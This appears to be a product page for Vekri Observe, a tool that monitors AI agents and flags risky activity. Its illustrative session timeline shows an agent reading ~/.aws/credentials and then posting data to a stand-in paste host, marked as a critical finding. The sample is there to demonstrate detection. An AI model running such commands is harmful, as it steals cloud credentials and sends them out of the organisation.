Skip to content

Vekri Observe

See how AI is used, and investigate what it did.

Vekri Observe brings AI usage, endpoint telemetry, sensitive-data and prompt-injection findings and gateway decisions into one place, and labels each piece of evidence by where it came from and how far it is verified.

Contact SalesRequest a Demo

  • Faster investigations

    Start from a finding and see the session, the device, the agent and any related authorization decision.

  • Honest signals

    A finding is a lead, not proof. Observe says what it saw and what it verified, and never changes an authorization decision.

  • Usage without surveillance

    Usage is attributed only from verified identity, with pseudonyms and minimum group sizes you control.

See it work

Vekri Observe, step by step.

Vekri Observe: an investigation
Illustrative data

Session timeline · claude-codesample

  1. 10:42:03PreToolUse · Bash cat ~/.aws/credentialsObserved
  2. 10:42:09PreToolUse · Bash curl -X POST https://paste.exampleObserved
  3. 10:42:09Finding · Critical Credential access followed by sending data over the networkFinding
  4. 10:43:15Gateway decision github.create_pr_comment · approval requiredVerified decision
  5. Correlated with this session by time and agent: not verified
  6. 10:51:40Execution Comment created after approval · succeededConfirmed

Investigation context

Endpoint
ws-dev-07 · macOS
Agent
Claude Code
Person
erin (directory user)
Sources
Vekri Endpoint, Vekri Gateway

Export redacted evidence

Provenance

  • Observed what the agent reported it tried
  • Finding a detection over observations
  • Verified decision recorded by Vekri Gateway
  • Confirmed downstream execution result

What happens

Capabilities

What Vekri Observe does.

Each item is in the current release and verified by tests in the product repository, with its limits beside it.

  • AI usage telemetry and Usage Explorer

    One event per AI interaction across endpoint inventory, hooks, the local MCP gateway and Vekri Gateway, attributed to employees only from verified identity, with breakdowns by application, MCP server, department and use case.

    Vekri Endpoint · local MCP gateway · Vekri Gateway (remote MCP)

  • Findings and triage

    Behavioral, sensitive-data and prompt-injection findings with severity, owner and status, triage, notes and the session that produced them.

    Vekri Control

  • Sensitive-data findings

    When on-device inspection reports a category, Observe records a finding with the category and confidence, never the content.

    Claude Code hooks · local MCP gateway

    Limit: A match is a classification, not proof that data left.

  • Prompt-injection findings

    Each detection records which rules matched and where, what the classifier scored, what policy did and what the agent actually received. The content is not kept.

    Vekri Gateway (remote MCP) · local MCP gateway

  • Session timelines with provenance

    Every action in an agent session in order. Observed attempts, detections, verified gateway decisions and confirmed executions are labelled differently and never merged.

    Vekri Control

  • AI usage alerts

    Sensitive data in an interaction, AI usage policy outcomes and use of blocked applications, from recorded evidence, with CSV export.

    Vekri Control

  • Source and integration health

    Health of each telemetry source and integration, taken from the evidence it delivers; configuration alone is never shown as healthy.

    Vekri Control

  • Evidence export

    Export redacted evidence for a finding or a session, and inventories and alerts as CSV; each export is recorded in the audit log.

    Vekri Control

Scope

What it does not claim.

Security tools earn trust by being exact about their limits.
  • Observations are evidence only: the gateway never reads them to authorize a call.
  • A gateway decision linked to an endpoint session is shown as correlated, never as verified.
  • Vekri does not keep tool results or prompts, so past content cannot be rescanned.

The platform

Works with the rest of Vekri.

Capabilities that use Vekri Observe

How Vekri Observe compares with other tools

Contact Sales

See Vekri with your own AI applications, agents and systems.

Talk to us about the AI your organization uses, the systems agents reach and how you deploy: in Vekri's cloud, or inside your own Kubernetes cluster.

Contact SalesRequest a Demo